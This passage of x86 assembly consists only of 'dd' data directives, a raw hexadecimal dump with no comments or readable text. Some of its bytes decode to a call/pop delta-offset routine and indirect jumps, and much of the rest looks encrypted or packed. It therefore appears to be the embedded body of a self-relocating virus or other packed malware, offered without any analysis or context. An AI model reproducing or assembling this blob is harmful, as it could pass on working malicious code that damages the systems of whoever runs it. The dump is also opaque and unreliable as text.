		dd 38D7BAFDh, 0E48F4C4Dh, 20028901h, 0A578C0CCh, 0CBC2A42Bh
		dd 44778C0h, 40317255h,	58000000h, 8A8CD148h, 38E7AED1h
		dd 0EB15DA52h, 0D2F4C8F1h, 5C7FDC34h, 7603E695h, 78C08A9Fh
		dd 0A9B6D91Ch, 78C129D3h, 37CCB361h, 0E48EF24Eh, 0A13Dh
		dd 4CD34B00h, 78C11E6Ah, 75E62FEFh, 47EE3C6h, 0E72B4E0Dh
		dd 0C60A2D2Eh, 0A9ED104Bh, 7E15F368h, 7EC76E82h, 6C4A1100h
		dd 0C1A77FE2h, 0F9D38449h, 0CDC398AEh, 0F1AB5DEAh, 31EF78BCh
		dd 8D5477E4h, 0A13E20A7h, 80C378BDh, 0F7DD209Dh, 754C17Fh
		dd 763A1DE4h, 87D43F9Fh, 0E92CFAD8h, 0F07C3B72h, 248511A3h
		dd 0DE28h, 0FB60B700h, 96C54F1Dh, 3526EAB8h, 0D2898957h
		dd 6CEF26F4h, 5E79F38Eh, 0F8C6A4B7h, 915F3D1Eh,	2DFBD982h
		dd 0C79977E4h, 937A5CE3h, 25FF84D5h, 4A110486h,	0E8739E6Ch
		dd 0D049B0Ah, 6F2D2B4Eh, 0ED2B5A6h, 0F07A5803h,	44CBB169h
		dd 78BFB58Ah, 0E8A68CCFh, 0B9502E2Dh, 78C01CE3h, 2CE6F819h
		dd 0D4A2802Fh, 0BC341A41h, 7DE0FCF7h, 0C01A6ECh, 78C0652Ah
		dd 0CE896CAFh, 62D2h, 0D1486F00h, 0E6AB2309h, 67A54044h
		dd 0F1D3C89Eh, 767EC76Dh, 4BD25033h, 78B88FFAh,	0D5193C7Fh
		dd 73411F3Ch, 8D9ABD9Eh, 7D007874h, 0AE684F17h,	4C1AF863h
		dd 757396C5h, 0DE015AB7h, 0A2703417h, 1C8A96B9h, 41967BA7h
		dd 3C084AEBh, 0DCBA6962h, 3558030Eh, 0A39h, 12FFBD00h
		dd 7C5F2649h, 4152017h,	0E1254813h, 0C4082B30h,	0A5E90C4Fh
		dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh
		dd 2A2B4E0Dh, 5E08950h,	4, 8704E883h, 895C2404h, 8956241Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 241C895Ch, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 52243C89h, 0E25C0BAh, 8BD38906h
		dd 0C4832414h, 3C8B5404h, 4C48324h, 52DA8952h, 7C243481h
		dd 8F50C238h, 77810847h, 0C2387C08h, 34FF5A50h,	0C4835F24h
		dd 241C8B04h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F95131E9h
		dd 0B88A39FFh, 60E29B6h, 0E0FFC503h, 37F2D762h,	18555748h
		dd 3348E1F0h, 14E8h, 84C44600h,	6060F13Bh, 1E63CAF9h, 87889760h
		dd 0F7E537A6h, 0DFB70F90h, 0AE85Ah, 9A0D0000h, 0A6111E62h
		dd 0AAD0C869h, 0FED78166h, 0C2815BEBh, 6D18h, 1068A6B3h
		dd 8B00001Bh, 0FFF95EC7h, 59B7B032h, 9840Fh, 8F0F0000h
		dd 3, 81C7BF0Fh, 0DE175EC1h, 0C91BBB79h, 0C1812596h, 3CB5DD4Eh
		dd 81FEB70Fh, 1689EAF1h, 0B70F525Ch, 0E95158C1h, 13h, 0AC2F6C0Ah
		dd 1E21D045h, 0BE86A016h, 0A8CB54EFh, 8F9802A6h, 7E22BB02h
		dd 0EA810D7Bh, 2C01BC3Dh, 3800Fh, 8B660000h, 39C281C3h
		dd 662C01BCh, 16F8D781h, 1EE81h, 850F0000h, 0Fh, 52D88166h
		dd 1BE946h, 0A7610000h,	0F63D40Dh, 680h, 57EB8100h, 0E92D1415h
		dd 0FFFFFF67h, 56D165A8h, 0EB8D8D28h, 6A060E2Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0F5AC357h, 893816E6h, 706798Dh, 0C7D98A06h, 72CE585h
		dd 6AF006h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0C8816650h, 3CBF4234h, 0C71BFA3Eh
		dd 72D0585h, 6,	68D0F00h, 29000000h, 7072D85h, 75B5FF06h
		dd 3306070Bh, 70E7DBDh,	0BD95FF06h, 6A060700h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0DE61C357h, 33AB2903h, 0B798489Ah, 27D958Bh,	6A0607h
		dd 16B595FFh, 0C08B0607h, 0C9FD7DEBh, 27949252h, 0D1754A99h
		dd 4CB49D86h, 9AC76D3Dh, 671E4034h, 76B82558h, 409F43EDh
		dd 353EED13h, 0BF4BD804h, 60ACDC0Dh, 4B34C355h,	542FE4FBh
		dd 1E1D438Bh, 39B3AA3Ah, 0C9BED8E1h, 0E925C1Dh,	497B541Fh
		dd 0BF840847h, 0B000DE4Ch, 41AB2746h, 9C3287D4h, 5F4BB8C0h
		dd 242BBAA3h, 59A29F55h, 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh
		dd 0CBC1997Ch, 2D2F7387h, 0FF3F4B58h, 0E8E69A09h, 14h
		dd 3732187Fh, 5029A651h, 20C3E1D2h, 96112EDBh, 0DB6817D7h
		dd 5B10CD80h, 54C381F9h, 0F000060h, 68Ah, 99858900h, 0BE060714h
		dd 2AF4FCD9h, 0EB3EF681h, 8D092AF4h, 6071219h, 9531038Bh
		dd 60705E5h, 379CC081h,	5F513452h, 39B4F081h, 8D8B6765h
		dd 6072D39h, 588DE881h,	8B5028F2h, 730D195h, 3895A06h
		dd 4F99589h, 0EB830607h, 998D0B04h, 83060724h, 850F01EEh
		dd 12h,	46D8D01h, 31E90607h, 0AF000000h, 1B59A143h, 0DE814FBh
		dd 8A000000h, 660EFB65h, 3029331h, 9639EEEDh, 15BD8951h
		dd 5906070Bh, 0FF8AE95Ah, 3B8DFFFFh, 0BFF59958h, 0DBEB437h
		dd 10E8h, 9654CC00h, 54A1049Ch,	47C710D5h, 0F4B28126h
		dd 81666062h, 664A4BE8h, 613256BAh, 9DBD8B59h, 8106070Dh
		dd 695EC1h, 68DE8A00h, 0
		dd 329D9589h, 0E95A0607h, 0Ah, 0AA2891C6h, 0B9E1E59h, 348B08ECh
		dd 0AE911h, 657D0000h, 22BCE094h, 0BD3324F9h, 0DCBAF681h
		dd 0FB8B716Bh, 381FF681h, 85892BD3h, 607176Dh, 5660EE81h
		dd 9D2314C2h, 6071499h,	60113489h, 28E59D03h, 14E90607h
		dd 94000000h, 6DAFFC82h, 569CA831h, 0BC5DA64Dh,	6CB2A909h
		dd 614DC077h, 12C38166h, 4EA8359h, 89858B56h, 5F06070Bh
		dd 9758FA81h, 850FFFFFh, 0FFFFFF8Eh, 0E8DF8B66h, 6, 7126F7CBh
		dd 0BA669DBBh, 3359AC76h, 7300D95h, 0D5C18106h,	0F00005Bh
		dd 388h, 0FE38000h, 16D9BEh, 0F99D8B00h, 0FF060715h, 0B5315831h
		dd 6071EF5h, 0EBD6C081h, 958B6B4Bh, 6072015h, 976CE881h
		dd 9D895DBBh, 60709ADh,	0A65BF081h, 6EBB7136h, 506976E6h
		dd 8F8BB66h, 9531018Fh,	60730A5h, 0F504E983h, 0BC850F4Eh
		dd 3FFFFFFh, 703959Dh, 83C08B06h, 70FF5BDh, 9750006h, 3001BD83h
		dd 74000607h, 8B535019h, 421B8C0h, 85890000h, 60709D5h
		dd 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h, 50177400h
		dd 421B853h, 85890000h,	60709D5h, 0A9969D8Dh, 0D3FF0609h
		dd 0C08B585Bh, 14099D8Bh, 85C60607h, 6072C05h, 0B8526856h
		dd 0B5FF9CA8h, 60731ADh, 7B1F858Dh, 0D0FF060Ah,	68046Ah
		dd 0FF000010h, 72085B5h, 0FF006A06h, 0FC085D0h,	0D85h
		dd 0B800h, 8D8D0000h, 6076D68h,	0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 70711BDh, 840F0006h
		dd 0Eh,	7119D8Bh, 858B0607h, 6072AC5h, 52510389h, 76D5858Dh
		dd 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 6072C05h
		dd 6D396856h, 0B5FFD41Fh, 60731ADh, 7B1F858Dh, 0D0FF060Ah
		dd 800068h, 52006A00h, 0C08BD0FFh, 0FF5BD83h, 75000607h
		dd 1BD8309h, 60730h, 53501974h,	21B8C08Bh, 89000004h, 7265D85h
		dd 0E9D8D06h, 0FF0609ADh, 83585BD3h, 73001BDh, 17740006h
		dd 21B85350h, 89000004h, 7265D85h, 0AF9D8D06h, 0FF0609A9h
		dd 8B585BD3h, 119D8DC0h, 8B060707h, 0FC00B03h, 784h, 8B038B00h
		dd 1889045Bh, 4B41B8h, 5E800h, 727D0000h, 812EC731h, 0D21CC6F7h
		dd 8B66586Bh, 86C081D6h, 0F0000E7h, 588h, 0DF816600h, 0B8B9C9E1h
		dd 66000039h, 308BDA8Bh, 0AAE38166h, 0E5EE81B6h, 81192518h
		dd 0E26BEDF7h, 5EF68163h, 666D0C96h, 283DDB81h,	0FA69EE81h
		dd 6E92C62h, 0D000000h,	46716B6Eh, 0BF0F5616h, 66008FD2h
		dd 0C3D3E381h, 5704E883h, 0BE960h, 14C40000h, 5FF9BF17h
		dd 0C6BE9F01h, 616160C4h, 850F495Bh, 0FFFFFFA6h, 0DE960h
		dd 8B500000h, 0F46D589Fh, 6291A0B7h, 0FCD24E3h,	0E89h
		dd 8E800h, 0DB010000h, 69C60D59h, 615B5228h, 2AE9h, 2404C700h
		dd 0
		dd 0E8h, 0ED815D00h, 60E308Bh, 424448Bh, 21FD8589h, 0B80607h
		dd 8D000000h, 74E1C8Dh,	0B8E1FF06h, 6754h, 0EE8h, 0AA12A900h
		dd 3754FB5Bh, 0AC0C6633h, 0FD0A030h, 38Eh, 0CEB70F00h
		dd 0E8B0F5Ah, 0E9000000h, 9, 6C97B4FEh,	3CD9462Ah, 0DCC281BAh
		dd 0E9000067h, 12h, 0BE252EE7h,	1001368Ch, 0ACD05A53h
		dd 23256574h, 0BE75CAh,	60000000h, 11E9h, 50A61600h, 96B2FBA9h
		dd 4FD11C72h, 0E1C2B28Fh, 0FF61EAD3h, 0B8661634h, 0F5B8308h
		dd 0F381C6BFh, 165B7116h, 0F381CA8Bh, 0ED59F24h, 0C8ABCBFh
		dd 96C38104h, 8B0CF1B3h, 48F53FBh, 6BBE6032h, 0F1B8548h
		dd 282h, 615A5700h, 0F278EE81h,	0DE81A96h, 0BA000000h
		dd 2B8AFE62h, 1EC2B1D4h, 0D5874DF1h, 58C7BF0Fh,	0F274C681h
		dd 0BF0F1A96h, 1CFE81F8h, 0FFFFF99h, 1E85h, 6E900h, 0D1340000h
		dd 81E7A637h, 1CE9h, 0E08B4300h, 89C1670Dh, 0F90E6436h
		dd 66C6DAB8h, 0E92B6AB8h, 0FFFFFF6Fh, 0D7363A92h, 0A19D8DB7h
		dd 0B8060730h, 1300h, 1D518589h, 0E80607h, 58000000h, 0D05h
		dd 0E9038900h, 1300h, 4C0h dup(0)
		dd 0DE9h, 40694B00h, 55h, 0
		dd 56E90000h, 0ED000005h, 8553312Ah, 20EECC8Fh,	0BF8D6BF0h
		dd 5C2A0853h, 29C4A2B9h, 0DA819443h, 73E82EFCh,	0F4CC795h
		dd 0ADAE6331h, 9219FDCFh, 84D5AFB0h, 4BC5B35h, 0E72B4E0Dh
		dd 0C74F2D2Eh, 6B4E0D09h, 9F746AA7h, 0D58690BCh, 193CEBB2h
		dd 0FC1F3CD5h, 0DCFF5CB8h, 5ACEB57Dh, 0BEE17A9Ch, 1447CBF7h
		dd 0B7A46D31h, 5CFF13D1h, 9275E630h, 96C54E1Ch,	0A07230B8h
		dd 0EED198BBh, 4F72E92Ah, 2D500B0Bh, 12CCB321h,	0F47C5A01h
		dd 0D1F8DF36h, 0FBDB0B8h, 1FE609B8h, 0C299783Ch, 0FBB929Fh
		dd 24F17EC8h, 46D01437h, 95C9F215h, 5537712Eh, 0DACD96Eh
		dd 42DFDE88h, 6000000h,	0D5868C4Ah, 78E32EF2h, 6B704855h
		dd 0B6987EC7h, 0B14B3AC1h, 140DE88h, 67000000h,	284B1004h
		dd 6DF430E4h, 7EC76B8Bh, 0FB1ECD10h, 1A005BB7h,	0C2A5B65Ch
		dd 9BE0A807h, 0A886D53Fh, 462437DAh, 4A1104D7h,	0ED6EA664h
		dd 652003CAh, 4568F321h, 23397E86h, 0CAAC33ABh,	4F7EC76Ah
		dd 6B35170Ch, 0F3BA7EC7h, 0E1998ED8h, 0B4974688h, 583625F0h
		dd 0B1D4878Ah, 95B8A36Dh, 7F84FBA9h, 0DE889F16h, 8575h
		dd 11049C00h, 6B29274Ah, 47CEB4A7h, 7EC76B65h, 0C4A7EAh
		dd 0DC48CE10h, 0C76B7355h, 6B5F87Eh, 4A6D1CE3h,	2E510A06h
		dd 0E312AEAh, 8DCAB1E5h, 23397E46h, 6B4224ABh, 84C77EC7h
		dd 6B35179Eh, 77BA7EC7h, 1645D094h, 0BBA07230h,	78EED198h
		dd 0CDF06BAAh, 5A0111CFh, 0C98D7037h, 3EF1249h,	0BCD96E55h
		dd 0CFDE88B7h, 4Dh, 81854AF6h, 0D2E962E7h, 0F025E9CCh
		dd 0F04486Bh, 0CC00294Ch, 71EA2BF7h, 10042493h,	441B284Bh
		dd 7A7EC76Bh, 5EA2C596h, 196F21B6h, 0C40EA144h,	95C9F215h
		dd 6737712Eh, 73FC92A2h, 0D9BC2CBFh, 0B8CD7249h, 0D3DE87F5h
		dd 1, 0CB0C04FAh, 3700A327h, 1C3FD1CAh,	0D48332F9h, 20F5B3B1h
		dd 7D94583Bh, 9977BBDEh, 0B75B9FC2h, 245881A4h,	0D6517C5Fh
		dd 75D2F030h, 0FE76D2C6h, 0BC1DFF86h, 5FA27EC7h, 0C7BC886Ah
		dd 0F4CC67Eh, 5ABBE72Ah, 298E1E01h, 7A0123EDh, 7EC7BC98h
		dd 4D2BDA1Dh, 0E4C64DC5h, 697EC7BBh, 0D6C5FFA2h, 7B2A2547h
		dd 7295C64Fh, 0D148C8ABh, 0EDAB2309h, 0C64D3328h, 7EC7EFE4h
		dd 0B6432669h, 78C0092Fh, 0B5A66C2Ch, 0F91CCB92h, 21FF5CB5h
		dd 7A9DBE53h, 0C0D2956Dh, 4CC4E678h, 0C0D1E3C5h, 42256878h
		dd 0DF57CDB2h, 0C0D27658h, 0D5B8FB78h, 7D5B0011h, 0D6F962AFh
		dd 0B9DC7F92h, 978DF2FAh, 1C61C5D2h, 0AB8E9F3Fh, 53312AE7h
		dd 8FABDBAAh, 142B0E4h,	48D70000h, 0A0848CD1h, 0C76B3719h
		dd 0CA79BC7Eh, 4B31E0A7h, 0C06F49C4h, 7E480D78h, 8769F084h
		dd 0C78BF8Fh, 0A81496C9h, 0B6F97659h, 590212D0h, 0D18C6F36h
		dd 0F9D7848Dh, 5275E62Bh, 3558030Eh, 81088076h,	78BFA39Fh
		dd 6EFEE124h, 1744CD09h, 79F59039h, 5A96E490h, 0A4000000h
		dd 73E092DFh, 0B7E38086h, 16DD005Bh, 0D24ACE33h, 0C76B694Bh
		dd 78ABEE7Eh, 1C6E6A93h, 0EE6E5147h, 54CCB26Ah,	0C7CFEBCDh
		dd 4A2D707Eh, 0D04345CCh, 4808FEC7h, 0D65A8DCEh, 0EE122F83h
		dd 7885A857h, 0FEC83996h, 2F378C1Eh, 840BF12Bh,	7EC83982h
		dd 0A0260447h, 90h, 85D1483Dh, 30A1A4C0h, 0E69589h, 0BFB38E79h
		dd 52D95378h, 78C07470h, 0E003B2F5h, 0AC69759Ch, 542200AFh
		dd 0F3B89EBDh, 9A8C96EBh, 2DE8CB92h, 0C07C4B20h, 0C7948178h
		dd 0A7B460A4h, 0B50A7884h, 0DAA1D5E6h, 6C4A1100h, 0C1A77FE2h
		dd 0B1BF4D3Ah, 0A4C70A72h, 87AAB160h, 20A71F7Bh, 72B2373Eh
		dd 0DDC2997Ch, 0B4A76E9Ah, 0E67A41D1h, 5073E828h, 3326A689h
		dd 0CE4705EBh, 375A0110h, 5A9EC170h, 0B77EA1BAh, 20A72508h
		dd 6CA37A33h, 60CFADF0h, 2309D148h, 3724EDABh, 2E510A0Bh
		dd 0AF78467h, 0C778B8AEh, 2B4E0D07h, 7EDD3864h,	0C2E5945Bh
		dd 510A06C4h, 0F467AA6Eh, 2D0F960Eh, 0B278B926h, 8E168C6Fh
		dd 26AD8F16h, 723278B9h, 2508B7A4h, 88ABB061h, 6A4AB67Bh
		dd 0B209D1C5h, 1E2EA968h, 98D2CF88h, 4164F71Ah,	3E1CCB7Ah
		dd 97BAA170h, 0A765BF53h, 15F7EC6Fh, 9A256AA4h,	0F24431D3h
		dd 0DBC2FB9h, 0C12F3B5Eh, 0E6F120FAh, 0F919C738h, 0B99F4EE5h
		dd 0AED8BA41h, 1A5D256Ah, 1EF3C137h, 31E1A3Dh, 0BB000000h
		dd 13041520h, 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh
		dd 0B362A6C9h, 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 682A2B4Eh
		dd 70A9h, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 1C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 68242C89h, 60E44E9h,	81241C8Bh, 4C4h, 2C8B5400h, 4C48124h
		dd 81000000h, 4ECh, 24148900h, 8BAh, 89EA0100h,	34FF5A1Ah
		dd 0C4815D24h, 4, 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 3BE95C24h, 53FFF931h, 1075830Bh, 6D910527h, 0A5B41433h
		dd 49ADB80Eh, 0C503060Eh, 8358E0FFh, 0CB8A7696h, 0F2652649h
		dd 0B3FB4149h, 440E6691h, 0C5667E51h, 9A314CFDh, 0BF932B2Ch
		dd 10027C20h, 0FC0379BBh, 8FED75C3h, 0EEE6EE5h,	7A3952EFh
		dd 0D2966313h, 546F40DBh, 0A98F0530h, 54D23844h, 0F99621D1h
		dd 69524837h, 0E6091BB5h, 0E35744AAh, 9C425423h, 0B906656Fh
		dd 3BE958D1h, 60000000h, 0A91BD8Bh, 0EF830607h,	8BC93304h
		dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh
		dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h
		dd 0FFFFFFD3h, 0C88BC361h, 75FDED55h, 76F67A5Eh, 56E669A4h
		dd 57FD49BCh, 0B5FD2C0Fh, 0AFD2C26h, 68FD2C31h,	5AFD2CBBh
		dd 30FD2C7Eh, 19FD2C9Ch, 0FEFD2CEDh, 0D5FD2C55h, 10FD2C09h
		dd 0E9FD2C26h, 42FD2C31h, 0AFFD2CBDh, 8CFD2C7Eh, 69FD2C9Ch
		dd 15FD2CECh, 79FD2C53h, 9DFD2C0Fh, 95358A25h, 76D6A222h
		dd 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h
		dd 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh
		dd 76FD7A5Eh, 75AB4F48h, 75AB4CDAh, 75FD7ACBh, 74FC7BE4h
		dd 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73F334A0h,	3EC8FFA6h
		dd 0F0707C99h, 73F335DFh, 3F08FF6Ch, 0F0707CFCh, 73F3352Bh
		dd 3ECCFF35h, 0F0707C50h, 73F3349Dh, 3F04FF1Eh,	0F0707CC5h
		dd 73F33494h, 3F00FF7Bh, 0F0707C77h, 73F337B3h,	3EFCFFD7h
		dd 0F0707C21h, 73F337B6h, 3EF8FF42h, 0F0707CEBh, 73F337C5h
		dd 3EF4FFF0h, 0F0707CB2h, 73F337CCh, 3EE8FFA6h,	0F0707C99h
		dd 73F33795h, 3EF0FF6Ch, 0F0707CFCh, 73F33704h,	3EECFF35h
		dd 0F0707C50h, 73F337BDh, 3EE8FF1Eh, 0F0707CC5h, 73F33729h
		dd 3ED8FF7Bh, 0F0707C77h, 73F33757h, 3ED4FFD7h,	0F0707C21h
		dd 73F33499h, 3ED0FF42h, 0F0707CEBh, 73F334A5h,	3EE4FFF0h
		dd 0F0707CB2h, 73F334D0h, 3EE0FFA6h, 0F0707C99h, 73F335E2h
		dd 3EDCFF6Ch, 0F0767CFCh, 73FA6F38h, 3E93FF35h,	0F0767C50h
		dd 73FA61B2h, 3E8FFF1Eh, 0B69C7CC5h, 9D11F1B0h,	75FD7AF2h
		dd 0F717FB23h, 25FB74F0h, 0FDF53FD5h, 7BB617ADh, 0B7342291h
		dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F3361Fh
		dd 3F09FFA0h, 0C87D7C21h, 73F33063h, 0C5B409CFh, 0B54B75E4h
		dd 3589BAF9h, 3E8FEF86h, 0FEBD7CB2h, 7A452B96h,	8AFD7A2Fh
		dd 7BB60802h, 8048F7CDh, 0F8FB74AFh, 9D50FCC6h
		dd 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 7BB608BAh, 8048F791h
		dd 0F8FB7481h, 8A50FCD1h, 0BC1F2322h, 3F09F787h, 2DA07CB2h
		dd 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h,	7BB61470h
		dd 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 3E93EFD0h
		dd 0DE9B7C99h, 77959208h, 360B7AE5h, 6E8872F3h,	3E93EF86h
		dd 0C54D7CB2h, 8AAD7954h, 7BB614BAh, 0F69B2091h, 7E9B7E2Bh
		dd 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh,	7B89A065h
		dd 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h
		dd 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh
		dd 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
		dd 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 1B6885B5h
		dd 2FFB74B9h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h,	74BD9285h
		dd 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h
		dd 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah
		dd 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh
		dd 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh
		dd 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h
		dd 0CD3ED056h, 75FD7AE2h, 3E8FEF0Dh, 0C0707C77h, 73F33185h
		dd 7F518A5Dh, 0E002D02Ch, 73F331F9h, 74E59208h,	254D7AE5h
		dd 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch
		dd 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h
		dd 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh
		dd 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h,	2D4D7A5Eh
		dd 0B6577925h, 3F16FF69h, 0C87D7CC5h, 73F3300Eh, 0F8EC0FF3h
		dd 7BB627FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h
		dd 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 3F16F787h,	0C87D7CB2h
		dd 73F330B5h, 0F8F10F2Fh, 7BB62712h, 0DE152ACDh, 0B6FD7AE4h
		dd 75FD7E4Ah, 7688579h,	0F8FB74F7h, 7BB2C0C3h, 6DF9F029h
		dd 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh
		dd 8A3E7835h, 7BB614CBh, 514ACE29h, 0C1FF0E96h,	13F2CA74h
		dd 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h,	0B5F179BEh
		dd 0B6577825h, 3E93EF68h, 917D7CC5h, 0F539FAEAh, 0DE9B7542h
		dd 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h
		dd 8AFD7ACBh, 7BB60870h, 2460F7F4h, 0F8FB7432h,	0CD3E39A0h
		dd 75FD7A4Eh, 3E8FEFD0h, 0B57E7C99h, 8935F1CEh,	3E93EF1Ah
		dd 97577CFCh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah
		dd 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh
		dd 75FD7ABCh, 0BF17FB04h, 0FCFB7460h, 0CF7D86EAh, 73F331A6h
		dd 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 3E8FE843h, 0FCBD7C50h
		dd 7BB60CADh, 0F835F191h, 7BADE479h, 1B6F85E3h,	0FDFB74B9h
		dd 801F3C7Fh, 75FD6D04h, 37F795Eh, 35FB7464h, 256FE01Ah
		dd 0B67E7CC5h, 22FEF3E1h, 75FD644Bh, 3777979h, 0F8FB74F7h
		dd 7BADFAECh, 2B598929h, 75FD722Fh, 76F85CBh, 0F6FB74AEh
		dd 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah,	761EBBF7h
		dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h
		dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h
		dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah
		dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h
		dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh,	254C9016h
		dd 0CF707CC5h, 73F3319Fh, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh
		dd 26FD7E9Ch, 3E87E7A2h, 497D7C99h, 71887BD3h, 771683BEh
		dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 9F17FB04h, 0F8FB747Fh
		dd 7BB60025h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h
		dd 0F40F7DCh, 46FB7415h, 75F5C3EFh, 0DF0E7A97h,	0F89DB9AAh
		dd 7BB60058h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh
		dd 9E04795Ah, 0B69C8296h, 0F40F7ABh, 0CDFB74AEh, 75FD7AF3h
		dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 0F278F7EFh, 8AFB74DCh
		dd 0E8CA8BD0h, 0Ah, 0A058FC65h,	7163D328h, 5E94F2Eh, 0B7000000h
		dd 0B01C437Ch, 10E959h,	88890000h, 304FAC59h, 3BFD01CDh
		dd 0ED986EE8h, 0C181F5E5h, 6C3Bh, 6E9h,	58265C00h, 0BBD2101Ah
		dd 4D067A86h, 0A04CC381h, 0BE66B2F9h, 31FFD59Ah, 665FE58Ah
		dd 0C781C68Bh, 6AB775A5h, 5A17B251h, 0F5FDEF81h, 66600D68h
		dd 0E851DF8Bh, 0Ah, 8F23D82Ch, 68CB9446h, 59589C4Fh, 77F78161h
		dd 60293867h, 0DE8h, 0C29CD400h, 247DCA1Bh, 134EB9F7h
		dd 0F5B9AC3h, 580h, 0E35FBB00h,	57610734h, 6E860h, 2BCA0000h
		dd 6258DE94h, 13E9h, 0A7A07D00h, 0A1B64F02h, 4B68A796h
		dd 0BED582AFh, 0CC4560BCh, 5860F5Fh, 0BF000000h, 69597CDCh
		dd 8B018F61h, 0A4E981D1h, 0BE49B2E5h, 33D16B62h, 0E5A0C181h
		dd 0BE6649B2h, 0EB839439h, 57850F01h, 66FFFFFFh, 8D49E2B8h
		dd 0E53AB8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0F5426E92h, 6798D89h, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 539721C3h, 5D9589B3h, 8B060704h, 71615B5h, 0E585C706h
		dd 9C06072Ch, 6A00006Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 60D9C351h, 11E9h, 7FDC0600h
		dd 0B089833Fh, 18B6269h, 66FADC13h, 61F5B0E5h, 58D0Fh
		dd 81660000h, 0C7F6DCDEh, 72D0585h, 6, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 29AD1C0Eh, 0D64FA22Dh, 9E951h, 4E400000h, 57A6A7B4h
		dd 5FB973D9h, 659B5FFh,	66560607h, 0FF58C78Bh, 700BD95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0D3301596h, 0C884030Bh, 0E8603165h, 8, 0D5E389D4h
		dd 7E557D15h, 0EE8h, 90FD5400h,	0FFC7382Eh, 0FC0EF1C1h
		dd 59D37EBBh, 11E958h, 0A5D20000h, 4E2AC4DCh, 22E5087Eh
		dd 0ED6C3048h, 61185B11h, 6AFB8Bh, 16B595FFh, 0C08B0607h
		dd 7C085AEBh, 39C3C8A2h, 147EC2D1h, 9921E551h, 0EFCA5D7Ch
		dd 32A35720h, 3A352C40h, 9D4A319Fh, 95ACDF10h, 0FC40E29Fh
